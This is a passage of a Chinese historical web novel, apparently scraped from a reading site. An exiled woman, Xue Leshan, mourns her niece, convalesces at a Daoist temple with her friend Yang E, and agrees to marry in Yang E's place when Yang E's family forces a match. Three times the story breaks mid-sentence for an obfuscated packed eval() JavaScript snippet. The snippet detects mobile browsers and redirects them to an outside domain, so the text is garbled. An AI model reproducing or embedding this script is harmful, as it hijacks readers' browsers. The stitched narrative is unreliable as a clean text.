然而药钱如流水般花掉了,乐善再辛劳,始终是杯水车薪,而薛宛也不见一点起色。 有日薛宛清醒些了,也能勉强进些汤食。她眉头难得蹙起,撒娇说:“姑姑,我想去外面晒晒太阳。” 往常乐善是不肯的,怕她吹了风更加重病情。这日实在拗不过她,小小的一个,脾气居然还大的哟,不答应说什么也不喝药。 但把她抱到院中时,乐善才惊觉,就这么小小一个,在她手里轻得仿佛一缕烟,随时可以飘走。 “姑姑,我近日总是做梦。” “哦,宛儿做了什么梦呢?”乐善语气故作轻快,问。 “梦到爹娘了,还有徽儿,我们聚在一块,就好像以前在家里的时候。” 梦到与已故的人相聚绝不是好征兆,乐善心中钝痛,感到若有所失,但她对此无能为力。 薛宛素来早慧,何况还经历了家破人亡。她一定偷偷背着乐善,无数次想过:“姑姑,我是不是快要死了,就像徽儿那样?” 乐善摸摸她的脸,强自笑说:“谁说的,宛儿的病就快要好了,只要答应乖乖喝药。” “姑姑,你别担心,其实宛儿并不怕死。” 小大人薛宛愁眉不展,说,“宛儿只是怕,倘若我死了,世上再没有姑姑的亲人了。” 乐善喉头一紧,匆匆撇过头去,不让宛儿看见泪滴滑落,为她担忧。 到初冬时,薛宛已经病得很重了,几度人事不醒,别说进食了,连喂药也艰难,乐善不得不辞了所有差事,专心看守她。 这段时光在她无疑是折磨,然而日子却难得慢下来了——被流放房陵之后,她就像个陀螺没有一刻的停转,现在终于有了喘息的机会。 然后她发现,茅草屋里一切都有薛宛精心布置的痕迹:檐下清脆作响的铃铛,门前的艾草花束以及桌上她亲手做的药草香囊。 哪怕宛儿终日拖着病体不便出门,也远比她想象的热爱着眼前的生活。 可惜奇迹没能再次发生,薛宛在梦中沉沉睡去。那样孱弱的身躯,三年流徙时光仿佛没在她身上留下任何痕迹,她仍像乐善记忆中的那样子,但是再也长不大了。 此后,乐善大病一场。 怕她无声无息死在家中,杨娥打通监军关系,干脆把她搬到水晶观中,方便照看。 乐善起先推辞不肯,说:“我身上有病气,别过给了杨小姐。” 杨娥没答应,还笑:“奇了,我也是病人,怕什么病气?” “常在观中,恐怕多有叨扰。” “女道长刚给你把脉还说呢。”杨娥仿佛有点不可置信,说,“你身子骨怎么能比我还差?说是肝郁体寒,气血淤塞,好在你从前底子都在,只需好好调养,否则长此以往,只怕难有生养。” “杨小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762936|174462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐说笑了,罪女早就是没有以后的人了。”乐善摇头,说着自暴自弃的话。 这两三年再累的活她也干过,身体怎样自己心知肚明,是快耗尽了,当然有她放任的缘故。 杨娥这次顿了很久,才说:“薛小姐,你没体会过当一个不健康的人,所以不知道活着对于我们来说是多么大的奢求。我很羡慕你有一个健康的身体,哪怕是为了宛儿,你也不该糟践自己,要好好的活下去。” 想到茅草屋里的生活痕迹,那是宛儿曾热忱活过的印证,乐善不禁沾湿了眼眶,倘若病痛缠身的是她,多好。 眼下已是追悔不及,杨小姐说的不错,她只好代宛儿活着,代那些死去的族人好好活着。 乐善松了口,说:“杨小姐,你帮我太多,我实不知该怎样报答你。” 杨娥不免笑了,说:“谈什么报答,在我不过举手之劳。何况,我身上也没个常好的时候,红夫虽好,我和她却谈不到一块去,这样吧薛小姐,在你病好之前,你就当与我做个伴吧。” 之后乐善便在观中养病。 杨娥是典型高门里养出来的士女,一言一行一动一静,都合乎规范,即使从小在外祖母身边娇养长大,教养也很严格,从不落下一日功课,因此琴棋书画无一不精,相反乐善,爹娘就她一个独女,自小溺爱,纵野了她的性子,但凡是要沉下心做的,她都苦不堪言,学得自然马虎。 在观中时,她弹琴走音、下棋悔子,常闹得杨娥忍俊不禁,就连红夫也笑话她,背地里偷偷嘀咕:“这真能是薛家的小姐吗?” 乐善唯独擅画,看者无不惊叹,那些花鸟人物栩栩如生,就像从画中活了过来——那是得了她父亲薛翙的真传。 杨娥看过后也称赞,说:“不愧是文膺公的女公子。” 文膺是她父亲薛翙的字,她父亲是河西薛氏的异类,不爱祖宗家业,就热衷于闲情雅事,曾任国子监祭酒,后来退官不做了,在家里设了一间画斋,教出二三弟子,因而名闻天下。 其实世人不知,他此生最得意的弟子正是他的独女乐善。记得有日,薛翙给众弟子设题:画香。大家你看看我,我看看你,都一筹莫展,香气真可谓是缥缈的东西,看不见摸不着,如何能够画在纸上? 众人皆苦思不已。 有人画焚香,烟雾缭绕,有人画花香,春光灿烂……彼时方满十岁的乐善也来应答,她画美人倚栏凭望,罗衣飘飘,轻裾随风,顾盼间有光彩夺目。 有位叫周羣的师兄指点说:“小师妹,你离题千里了。” 乐善强辩说哪有:“美人迎风,气若幽兰,师兄分明呆子一个,不解风情,不知所云。” 小小一个居然振振有词,很有气势的哟,引得大家都笑个不停。 “好啊,哈哈,原来小师妹长大了,有了爱美之心。” 乐善也笑,说:“何止爱美之心,师兄们没见画中我浓墨重彩,用色大胆吗?今诚然已有了好色之心了。” 本来只是师兄妹之间插科打诨的玩笑话,偏给有些人听见,分明不明所以,但先就端着教训口吻说话了。 她父亲的二弟子何衠说:“师妹年少,血气未定,务以清心为念才是,戒之在色。” “食色,性也。”乐善绝不是站着挨教训的性子,倨傲地轻轻一睨,说,“难不成这世上只准你们男人好色,女人就不行吗?师兄真是好没道理。” 也许在杨娥身边的日子安宁又平静,不需担忧用度,不用害怕颠簸,总叫她不免想起从前欢乐的时光,总是不觉带出笑意。 然而笑着笑着,唇畔只剩下了苦味。 8. 第 8 章 08 乐善擅画,尤擅花鸟,杨娥推崇备至,央了她替自己绘制嫁衣上的祥瑞花样。 乐善本不是自轻自践的人,无奈杨娥对她太好,她不得不提醒,说:“杨小姐,婚姻是喜事,一应操办,无不应由全福之人经手,方得吉兆。可我是罪臣之女,世人眼中的不详之人,沾了祥瑞图,只怕会亵渎喜事,给你带来不幸。” 红夫早有顾虑,只是碍于她小姐一向说一不二,不好开口明说。当下附和,说:“是啊,小姐,薛小姐也是为你一片好心。” 杨娥笑说:“我可不信那些。” 最后还是红夫机灵,她让乐善照旧画,再由自己重新描摹一遍,此举虽有掩耳盗铃之意,也不失为一种办法。果然杨娥见了,啼笑皆非,但为她二人实是好心,也不再说什么了。 开年四月,杨家的信从弘农寄来。信中写,江杨两家已经商定婚期,就在明年深秋,江家遣人来弘农迎亲。为此,杨娥大伯特地派了管事亲自来,要接她回去。 “我不回去。” 杨娥只管叫红夫传话,她自己则坐在垂帘帷幕后面,连面也不露。 面对杨家的人,难得她态度强硬,实在被逼的急了,干脆在水晶观闭门不出,只留下一句话:“倘若大伯执意如此,送亲的轿子就从襄阳走好了,大伯可别忘了,我还有三位舅舅可以送我出嫁呢。” 只有在乐善和红夫的跟前,杨娥才露出疲惫忧悒的神气。 乐善悄悄向红夫使眼色,被杨娥捉个正着。杨娥苦笑,说:“叫薛小姐看笑话了。” 乐善心中确有疑惑,索性直接问了:“杨小姐出身弘农杨氏,身份尊贵,而今何故不肯从杨家出嫁?” “我幼时亲眼目睹,母亲就是为他们所逼,郁郁而终,所以我向来知道,杨家绝我无可倚仗之人,即使回去,十余年来亲缘淡薄,更无我一寸立足之地,还不得不因为婚事要对他们多有仰仗。” 杨娥向她看来,说,“薛小姐,你应该懂我,受制于人,绝非我所想啊。” 要说乐善还是半生命好,河西薛家门第清贵,向以清白持家,讲究的是兄弟相亲,妯娌和睦。尤其她是家中这一辈中最小的,自她记事以来,长辈们无不和蔼可亲,姊妹间虽然嬉戏打闹,从不红脸生隙,在她是想不到大家族中竟还暗藏有龌龊不堪的事情。 乐善不禁为她叫屈,说:“弘农杨氏居然如此可恶,枉为世家表率。好在,杨小姐还有舅家可为你做主。” 后一句本为宽慰之语,然而杨娥仍是摇头,似乎另有内情。乐善就不免大大的纳闷了。 红夫憋不住话,告诉她说:“从前老太太在世,我们小姐几时受过委屈?如今老太太不在了,几位舅老爷倒好,枕边风一吹,把外甥女全然忘在脑袋后,什么都凭舅夫人做主,互相推诿,巴不得把我们甩掉呢。” 杨娥抬手止住红夫的抱怨,说:“终究是我寄人篱下,舅舅他们至少不短我衣食,不扣我嫁妆,比起杨家还是仁义多了。”哪怕身世坎坷,她也不愿旁人怜悯,很快撇过不谈。 虽和杨家尚在博弈,然而婚期不远,仔细算起来也只剩一年半的时间,筹备诸事是当务之急,尤其是嫁衣,更要加紧赶制才是。 众人忙于筹备,每日进出水晶观中,举目皆是大红之色,每张忙碌的脸上也都流露出喜气洋洋的神气。 乐善在观中养病多日,稍见好转之后,便向杨娥请辞。 杨娥认真察看她的气色,观中清净无忧,再加吃药调理,果然见效,人已不似先前憔悴。她拍了拍身边,说:“来坐。” 乐善上前挨着她坐,听她叹道,“你我之后要见,恐怕很难了。” 她说的是嫁人之后,乐善知道。 乐善和她熟稔了,偶尔也会取笑一二,说:“不见才是最好,我听红夫说,江公子是个很好的人,我相信杨小姐之后一定能够获得幸福。房陵到底偏僻,不是你该长留之地。” “薛小姐,你爱过吗?” 一时风过,窗外竹影簌簌,杨娥极其突兀地问道。 乐善一怔,慢慢摇头,说她没有。 婚事在即,大约是有些焦灼不安的缘故,杨娥心事重重,说:“我也没有,你别听了红夫乱说,实际我从没见过那位江公子,所知全从旁处得来,对他只有想象,遑论爱慕。然而世上女子盲婚哑嫁,不外乎此,我又怎能特殊?” 乐善小心问:“杨小姐不愿意嫁?” “我当然愿意了,我从小父母双亡,杨家容不下我,幸有外祖母怜惜,接来抚养长大,但在舅家多年仍自觉有寄人篱下之感。我想要一个家,或许惟有嫁人才能实现。” 乐善看着她,欲言又止。 杨娥哪有不懂的,她自己也不是没想过:“可笑此后幸福与否,全要倚仗一个陌生男人…对此我常感疑惑,难道他会比杨家的人,会比我那几个舅舅还要待我更好吗?” 答案是未必见得吧,她心想。 红夫这时端药走进来。 她向来没心眼,随口就说:“小姐一准是昨夜梦魇,害人也魔怔了,喜事在前,干嘛好端端的说起这个来。” “就是,杨小姐何必自扰。”乐善从红夫手中接过药碗,端给杨娥,“我虽没有过未婚夫,但我想婚姻也需要努力经营,哪怕此前两人未曾谋面,只要他人品贵重,我何妨使些手段,不怕他不对我服帖。何况杨小姐蕙质兰心,天底下再没有比你更好的人了,那江公子既有状元之才,又怎么会识人不清?” 她又是开解,又是恭维,杨娥反倒不好意思起来,接过药碗,一边喝,一边笑:“怪我庸人自扰,你说得对,婚姻重在夫妻经营,江公子是好人,我不该胡乱猜疑他。” “尽说我了,反倒是你。”杨娥把药碗搁在一旁,自然而然伸手握住乐善的手,笑叹怨尤,“真可惜与你相见恨晚,也没能帮上你什么。明年一别,望你万务珍重身体,我第一眼见你时就知道你绝不会长困房陵,相信日后一定会有转机。” “借小姐吉言。”乐善揖手。 重新回到孽村。 茅草屋内早已人去楼空,幸而杏林家的刘小姐时时帮忙清扫,窗明几净,一丝灰尘也无。乐善推开门,听见檐下铃铛泠泠作响,一时哽咽又上喉间,疑心是宛儿在迎接她回家。 之后只剩自己一人了,然而茅草屋中一隅一角都有宛儿留下的痕迹,就仿佛她从没离开过一样。想到此,乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762937|174462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 善很快重整心情,每日照例先进山采药,再卖到县上药铺,以赚取微薄的钱资过活。 一冬一春,时光荏苒。 这日,乐善因先去了趟水晶观替杨娥挑绸缎,回去得晚了些,刚进村寨刘小姐就从屋里探出头,冲她努嘴,低声说:“乐善,你有客人来。” 房陵流放之地,竟会有客人自远方来,多么稀奇。 乐善也纳闷,回到茅草屋,果然看见有人正站在门前张望。听见动静,他回过头,认了半天才敢叫她:“薛师妹,真是你。” 来人瘦削身材,窄脸长鼻,只有一双眼炯炯有神,洞察明智——是她父亲的四弟子周羣,她称呼为周师兄,年纪长她八九岁,她曾经在画斋取笑过他不解风情,他并不以为意,是以乐善对他记忆犹深。后来,周师兄中了进士,外派为官,他们就再未见过了。 难怪他一时不敢相认,就是乐善,眼里也有一瞬间的迷惘。 乐善请他入内一谈。周羣自述他在南平做芝麻小官,那地方山长路远,听闻薛家出事已在一年之后,他当即辞官不做,夙夜赶去雒阳。 薛家人的尸骨就袒露在城外乱葬岗里,苍蝇乱舞,腐草齐生,无人敢去埋葬。他趁夜里偷偷收殓了,立了个无字碑,权作后人祭拜之地。 乐善感激涕零,说:“多谢周师兄周全。” 周羣说他身为弟子在所不辞,不须言谢,又道:“我知道你们被流放房陵,本想立即启程过来,谁知雒阳城里出了大事,元贞太子在宝光寺高楼自焚,尸骨无存,宫里下令全城戒严,月余了才解除。” 元贞太子是先帝长子,秦王篡位以来,罢黜他太子之位,命其迁出东宫,禁足于宝光寺。 然而,嘉平遗臣心中依旧只认他做太子,周羣说,他到雒阳后,百般找机会,终于乔装扮作和尚混入宝光寺,得以见到废太子。 从前薛翙在国子监讲经,太子曾多次亲临问学,之后更是执弟子礼相待。听闻薛家满门蒙祸,元贞太子心中满是痛疚,心知其中必有自己的缘故。 周羣眼见他形容憔悴,力陈光复事,因为惟有元贞太子登基,薛家才能平反。可是元贞太子沉默许久,摇头说:“事不成也。” 周羣苦劝无用,只好暂时退下。 此次会面不久,某夜,宝光寺内突然燃起熊熊大火,官兵连扑三日不灭。直至废太子死讯传出,全城戒严。 幸而周羣乔装得宜,每日混迹宝光寺内,与和尚们一块为废太子诵经超度,居然也没人怀疑他。后来城中戒严稍有松懈,他立刻买马,向房陵而来。 周羣痛惜,说:“现在元贞太子亡故,天下遗臣群龙无首,不知多久才能为薛家平冤昭雪。” 为薛家平冤。 乐善此前根本不敢作想,因为活下来已是用尽了浑身气力。此刻听他说起,才知道自己原来不是不想,心底早有无数声音在呐喊着,心跳得极快,周身血液沸腾,一时竟不能平静。 然而,然而。 她一个势弱孤女,连小小房陵都走不出去,何谈什么平冤啊。 她苦涩地想,除非有转机。 …… 乐善只是没想到,她想要的转机很快就来到了。 9. 第 9 章 09 起先,是水晶观中突然传出杨娥病重的消息。 乐善当然不相信,因为前些时日她才亲自去过水晶观,为杨娥送上时令果蔬。她知道,杨娥这一向因为婚事的缘故,心情愉悦,脸上更是神采奕奕,连女道长给她把脉,都说好,把平常服用的药也给减半了。 无缘无故,怎会突然病重? 当乐善急匆匆赶去,迎面看见红夫通红的双眼,心底立刻一沉,忙问:“红夫,杨小姐究竟怎么样了?” 红夫忍泪,一路引她进内室。 杨娥苍白着脸,双眼紧闭,躺在榻上人事不省。一旁,女道长正为她施针急救。 稍后,女道长摇头,唉声叹气:“蕊珠小姐气急攻心,看脉是凶险之象,今夜倘若醒转不了,只怕…” 乐善连退几步,为之大骇。 红夫伏在杨娥身上,又是痛哭,又是气恨,说:“全赖江家毁约……” 在她泣不成声的哭音中,乐善得知事情原委:原来江家临时变卦毁约。 红夫对江家从前有多称赞,今日就有多憎恶,恨道:“他们信中居然毫无毁约的心虚,只说六公子即日进京赴考,不宜仓促成婚,然后假惺惺说,为我小姐终身着想,不敢耽误,要么请杨家退婚,要么,另配家中子弟成婚。” 乐善说:“这是推辞。” “明眼人也知道。”红夫为她小姐不甘,说,“难道他不考中,就一辈子也不娶妻吗?小姐等他三年又三年,已是拖到这个年纪,况且谁不知道她未来是江家妇,而今还能嫁给谁去?江家就是拿捏杨家不肯退婚,得寸进尺,竟敢开口要我小姐嫁那纨绔江萼。” 乐善奇怪,问:“这个江萼,何许人也?” 说到江萼,就连红夫也不陌生,因为他的事迹简直如雷贯耳。 据说他是秦楼楚馆的常客,他建穷奢极侈的名园,他豢养着数不清的美婢,他为一件古董豪掷千金。 红夫只要一想到,就忍不住怒火中烧:“这样人品堪忧的人,他们怎敢拿来折辱我小姐。” 当时杨娥见信,待嫁多时的满心欢喜仿佛给人一盆冷水泼下,顿觉心中拔凉一片。 因她日常服药,女道长早有叮嘱,最忌大喜大悲,这下首当其冲,一口血气涌上胸腔,竟咳出淋淋鲜血。随后,在红夫的惊呼中,杨娥眼前发黑,身子歪歪倒下,至今未醒。 就在众人为她忧心忡忡之时,门外脚步声响起。观中一名道姑过来禀报,说:“杨家突然来人了,求见蕊珠小姐。” “杨家?他们一定是听说小姐病重,赶来观望。” 他们来得这样快,恐怕来者不善。 红夫脸色一紧,站了起来。她也不是个傻的,心知她们与杨家向来关系不睦,何况她小姐现在昏迷不醒,身不由己,要给杨家人知道了,还不知会被他们怎样摆布。到时自己再骁勇,始终是丫鬟,位卑言轻,就算有心尽忠,也无计可施。 红夫目光一转,见乐善坐在榻前,正努力给杨娥喂药,可惜杨娥一点知觉也无,嘴唇紧闭,药石不进,浓墨的汁水顺着她嘴角滑下。乐善忙又拿起巾帕替她擦拭。 红夫转瞬拿定了主意,说:“薛小姐,请你换上衣裳,假扮我家小姐,先应付过这阵。” 乐善搁下药碗回头,迟疑说:“我是生面孔,只怕杨家人不会相信。” 红夫已经忙着去箱笼里翻找衣裳,一面说:“小姐自六岁离开弘农,此后再没见过他们家的人。每当逢年过节,有管事递帖拜见,也都隔在帘后,寥寥几语。” “他们只认得我红夫。”红夫翻出一件新衣,强塞在乐善手中,语气几近央求,“薛小姐求你了,要是小姐落到他们手中,后果不堪设想。” …… 室内焚香滚滚。 眼前更有重重帷幕,严妪伺立一侧,隐约只望见里面朦胧人影,垂首静坐。 待要上前看清,一直站在帷幕前的红夫伸出手来,将她毫不客气拦在外面。 红夫硬邦邦地说:“没有小姐应允,不得近前。” 严妪只得站住脚,向内说:“听闻蕊珠小姐病了,老妪特地带来医者,为小姐看病。” “哪里听来的胡话。”红夫冷哼一声,说,“别说小姐没病,就有,自有观中圣手照料,哪里轮得到你这老妇来献殷勤。” 那严妪本是杨家一名老仆,曾在老夫人跟前服侍过的,后来老夫人临去,也为她们安置好了去处。严妪五十来岁,本到了该含饴弄孙的年纪,无奈因儿子不中用,在外欠了赌债,不得已仍在杨府办差。 她年纪长,在杨府有一定地位,因此平常碰见几位奶奶,对她也是另眼相看、礼待有加的,何曾受过一个丫鬟喝令? 但她千里迢迢来这之前,大奶奶早有嘱托,说:“我这侄女脾气太坏,冲撞之处,严妪务必多多宽待,不要和她小孩子一般见识,记住最要紧是,把事办妥帖。” 严妪只得忍气吞声,笑说:“出嫁是女子大事,大奶奶体谅蕊珠小姐幼失怙恃,特派了老妪前来。日后小姐嫁到江家主持中馈,便有老妪帮忙,也不会显得手忙脚乱,给人看轻了新妇。” “谁说我小姐一定会嫁到江家去?”红夫拿出那封叫她小姐吐血的长信,一把拍在严妪面前,“人家想要食言悔婚,杨家不为我们小姐做主吗?” 严妪早知信中内容,拿在手上,还是装模作样看了一遍,然后大吃一惊:“这这…江家真是岂有此理!” 随后语气一变,缓声说,“不过,他们信中也说了,另配家中子弟成婚…小姐不必为此担心。” 红夫完全是后知后觉,盯着那老妇,满眼的不可置信,心中亦是波涛汹涌,难以平复:原来不独是江家背信弃义,更有杨家在其中推波助澜。 她气得口不择言:“那人活脱脱的纨绔子弟,根本不堪为小姐良配!” 严妪说:“胡言乱语,江家四少爷分明丰神俊逸,就如谢家之宝树,和小姐是再好不过的良缘了。” “他们的鬼话你也信?依我看,索性如他们愿,退婚好了!” 这话岂能由她一个丫鬟置评?果然严妪说不可:“退婚,万万不可!传将出去,小姐名声何在,我弘农杨氏的名声何在?” 严妪其实早已心存疑窦。 进来这一时半刻,只有跟前这丫鬟跟她一问一答。而帷幕后,那人端坐如神佛,始终一言不发。 红夫义愤填膺,举止尚且激荡不平,严妪趁其不备,猛地一蹿上前,拉开重重帷幕。 日光倾泻满室。 高堂之上,乐善坐得端严殊妙,犹如一尊宝相庄严的观世音,眉目低垂。 闻动,她抬起头,坦然迎上那双狐疑的眼睛。 “蕊珠小姐。” 严妪试探地称呼。杨娥六岁前养在杨府,那时自己还在老夫人跟前伺候,按理说对她不该陌生,然而十余年光阴如梭,当初青涩面庞的小女孩早已脱去脸上团团稚气,长成大姑娘了,叫她一时也不敢拿准。 到底,严妪没疑心眼前这人李代桃僵。也许根本想不到她们竟如此的胆大包天。 “老妪参见小姐。” 严妪不再迟疑,整个伏拜下去。 座上乐善轻吁口气,悄悄松开紧攥的双手。 ——不过刹那交锋。 这时红夫才慌忙跟来。 乐善冲她摇头,目有安抚之意。然后垂眼肃容,居高临下望向严妪,说:“你到底来做什么?” “当然是来送小姐出嫁的。”严妪哈腰站着,暗觑见她神色不豫,忙笑,“是,江家临时毁约,做事确实不地道,但小姐明鉴,府里的奶奶们和您是同一条心的,断不会叫您嫁去受了委屈。” 乐善哦了一声,很纳闷了:“把亲侄女往火坑里推,就是你所谓的同一条心吗?” 看上去端丽庄重的娇小姐,想不到这样伶牙俐齿。严妪讪讪的,说:“小姐哪里话,自古以来,婚事便该听从长辈之命,就是闹到官府也是这个理儿,您说是吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762938|174462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后一句明显带有威胁了,红夫立刻叫道: “小姐,我们马上去请舅老爷出面,为你做主。” 其实大家也都心知肚明,若杨娥舅家一早肯管,她们不至于常年寄宿观中。真闹到官府去,只怕连平日的面子功夫也不做了。 因此严妪懒得理会,只说:“宗法上小姐毕竟姓杨,哪里轮得到无关外人插手。” “我若执意不嫁,你们待要如何?”乐善干脆一针见血,问道。 “那可由不得小姐。” 图穷匕见,严妪也不与她们虚与委蛇了,皮笑肉不笑地说,“大奶奶有命,务必把小姐请上花轿,送入江府。手段不论。” …… “好一个手段不论啊。” 内室之中,红夫守在杨娥床头,忿然作色,“真是岂有此理,给他们熊心豹子胆了!” 好在先前乐善临机应变,当即冷笑诘问一句:“好啊,莫非你们立刻就要把我绑上花轿?” 到底是曾经薛家最跋扈的七小姐。 那严妪震慑于她冷若冰霜的一张脸,只好唯唯诺诺,因想:眼下还不到彻底撕破脸皮的时候,便又只管说些“小姐莫要为难我们”之类的昏话,也就告辞而去。 尽管今日暂时应付过去,但她们既然放下狠话,势必不会轻易放弃,迟早还会再来。 乐善忧心如焚:“再来,恐怕就不只是她一个人了。” 以杨娥现在的情形,倘若再落在杨家人手里,剩下的半条命只怕也会给折磨掉。 好在吉人自有天相。 乐善和红夫苦守了半夜,杨娥终于悠悠醒转过来,还冲她们歉然一笑。乐善还好,只是鼻头微酸,红夫本来一双眼熬得猩红,忍不住又哭了。 女道长过来把了脉,点头说:“醒来便无性命之忧,日后多加调理,切忌再动肝火。” 小姐清醒了,红夫像是重新有了主心骨一样,心安了,也有心情取笑了:“小姐你不知道,那老妇冲进去的时候我都快吓死了,还好有薛小姐,唬起人来一板一眼,真有一套。” 杨娥本来含笑半坐在榻上,听了,当即起身向乐善郑重道谢。今日严妪登门威逼,要不是她答应以桃代李,只怕自己早已身陷囹圄。 乐善忙把她按住了,说:“杨小姐折煞我了,知你有难,我自当义不容辞。” 然而困境始终悬而未决。杨娥思前想后,不得已去信舅家求助。 襄阳距离房陵很近,快马一日就到。然而杨娥左等右等,没盼来舅家的支援,反而等来了杨家所备花轿。 正如乐善所言,这次登门不再只有严妪一人——来者数百,一路浩浩荡荡,吹锣打鼓,鞭炮齐鸣,引人注目。 此时,水晶观中另是一番场面。 杨娥强撑病体起身,换过了素衣法服,执香跪在三清塑像座下。黄案旁,是预备稍后为她度化的女道长。 一干忠婢义仆相顾失色,尤其红夫,犹自哭个不停,说:“小姐,再没有别的办法了吗?此后是一生的清苦啊!” 杨娥当然绝不情愿,但实在是孤立难援。 旁人不知,其实午夜梦回之时,她不是没升起过一瞬的念头,要不就嫁了吧…很多苦命女子都这样度过了她们的一生,为什么她不可以? 可她就是不情愿。 既是不愿,亦是不能。 一个膏粱子弟,一家背信翁姑,她心想,前半生难道见少了那些蝇营狗苟吗,何必再搭进去她自己的后半生? “红夫啊,你小姐我宗法不容,亲眷不待,惟有此身入道,去乞求祖师爷庇护了。”她笑,颊边却流下一滴苦泪。显然不愿,但已别无他法。 乐善站在许多苦劝的人中间,无从劝起。 以杨娥心高气软的脾性,她嫁去江家,还不知要受多少的嗟磨,不见得比终老道院要好。 直到将她这幕收入眼底。 乐善心中触动,不忍她两难抉择,脱口而出,说:“杨小姐,我来代你嫁。” 10. 第 10 章 10 杨娥回头看着她,似不知她所云一般:“薛小姐,你此言何意?” 要说刚才,乐善完全是受氛围所衬,油然而生一种义不容辞。当众目睽睽,许多双眼睛望过来,她也冷静了,同时意识到这时机。 人多眼杂,乐善请杨娥移步密屋。 “我说真的,杨小姐,我替你嫁。” 乐善条理清晰,说,“上次会面,严妪对我深信不疑,我代你嫁,杨家人不会察觉。就算日后不小心败露,我嫁也嫁了,杨家只要不想跟江家闹上公堂,只能吞下哑巴亏,为我百般遮掩。” 杨娥呆呆的听着,突然如梦初醒,猛地摇头,断然不许:“江家寡廉鲜耻,不是什么好去处,我自己不肯涉险,却叫别人替了我去,真论起来,我和他们又有什么区别?” 她为人坦荡,反而叫乐善有点难以启齿了。 “我不全是为你,杨小姐。” 她是罪臣之女,终身不能踏出房陵一步,但若能借杨娥身份远嫁,此后不仅天高海阔,还能为周师兄所言薛家平冤一事,尽自己一份力气。 倘若密谋,乐善也想妥善了,先就要寻个由头叫她自己“亡故”,金蝉脱壳。 “从此房陵再无薛好。”乐善顿了顿,诚恳说,“只是要委屈杨小姐,以后只能以假身份示人了。” 杨娥犹豫了,涉及薛家平冤,乐善说的一定是交心话,不是为了哄她。她理智上知道这是眼前唯一的办法,情感上一时仍难接受:“但是,薛小姐你也是好人家的女儿,替我嫁入江家,实在是…” 死都不怕了,还怕坏了清白,给人当老婆吗?但这话乐善不好说,说出来,杨娥心里只有更愧疚的。 “江家不是龙潭虎穴,我嫁就嫁了,以我的手段,不会那么容易给人欺负了去。”对她的担忧乐善避而不谈,故作轻松地说,“而且,我并不打算在江家长留,时机一到,我就死遁脱身。杨小姐,你只管放心好了。” 这时红夫忍不住了,插嘴说:“小姐,你就答应薛小姐这回吧!要真做了道姑,可没得回头了。” 她们一个劝,一个磨,话说了一箩筐,杨娥心里也有点松动了,何况此刻观外锣鼓喧天,隐隐有逼上门来的声势。 …… 水晶观大门被打开了。 杨家堂而皇之一拥而入。 四抬花轿也进来了,就停放在院中央,红夫见了气得发抖,努力张开手臂,要把她们全都拦在屋外。 严妪走进来,好言好语:“天要下雨,娘要嫁人,今请小姐不要为难大伙,如期出嫁吧。” 红夫破口大骂:“以下犯上,尔等放肆!” 鼓乐都暂停了。观前,六名虎背熊腰的侍从单手压刀,虎视眈眈就要闯入,观内的道姑们吓得一哄而散。 今日人多势众,严妪底气也很足了,料想杨娥不能抵抗。 果然红夫手无缚鸡之力,站在门前对峙,只有徒劳而已。几名仆妇扑涌上去,轻而易举把她推倒在地,随后就要闯进屋中。 就在这时,门打开了,乐善走出门外。 仆妇们只得站住脚,以严妪马首是瞻,等她的示下。 严妪看见她,犹记得那日她冷若冰霜的一张脸。平日里一贯娇养长大的小姐,怎么会有那么令人胆寒的目光? 严妪发怵到心底,不知那是经历过无数死亡的附赠,不过仆妇们欺软怕硬,最会见人下菜碟了,她不敢当着乐善的面拿大,恭敬地喊了声:“蕊珠小姐。” “原来是严妪啊。”乐善扫过她一眼,似笑非笑:“光天化日,朗朗乾坤,如此斯文扫地,我还当有伙强盗闯了进来。” 严妪不得已弯身,请罪说:“底下人粗鲁,惊扰了蕊珠小姐,还请小姐宽恕。” 乐善不理不睬,只管叫红夫:“去跟观主赔礼道歉,今日害得观中诸人惊慌,是我们的人太不知礼数。” 水晶观中,识得她和杨娥的人不少,乐善打发红夫过去,一为事急,需要寻求观中掩饰,二则,是为敲打。 红夫心领神会,高声应下,然后匆匆而去。 严妪自然也听出乐善在指桑骂槐,心里有气但只得忍下,她旧话重提:“两家已经算好八月十五中秋日正是吉时,如小姐愿一切从简,不回杨家,就让江家在会稽城头迎亲。” 杨娥因不想在杨家出嫁,曾提过这念头。正好杨家答应,也免去乐善最后一层忧虑。 乐善拿腔作势,望了眼门外的彪悍侍从,笑问:“看来我今日不上花轿,是不成的了?” 严妪嘴上说着不敢,那六名听命于她的侍从却一直压着刀,沉默地逼视着观内——给人一种剑拔弩张之感。 “只请小姐体谅,而今时间紧张,从房陵赶去,只怕路途上还有得耽搁,赶紧上了花轿,才不误了良时。” 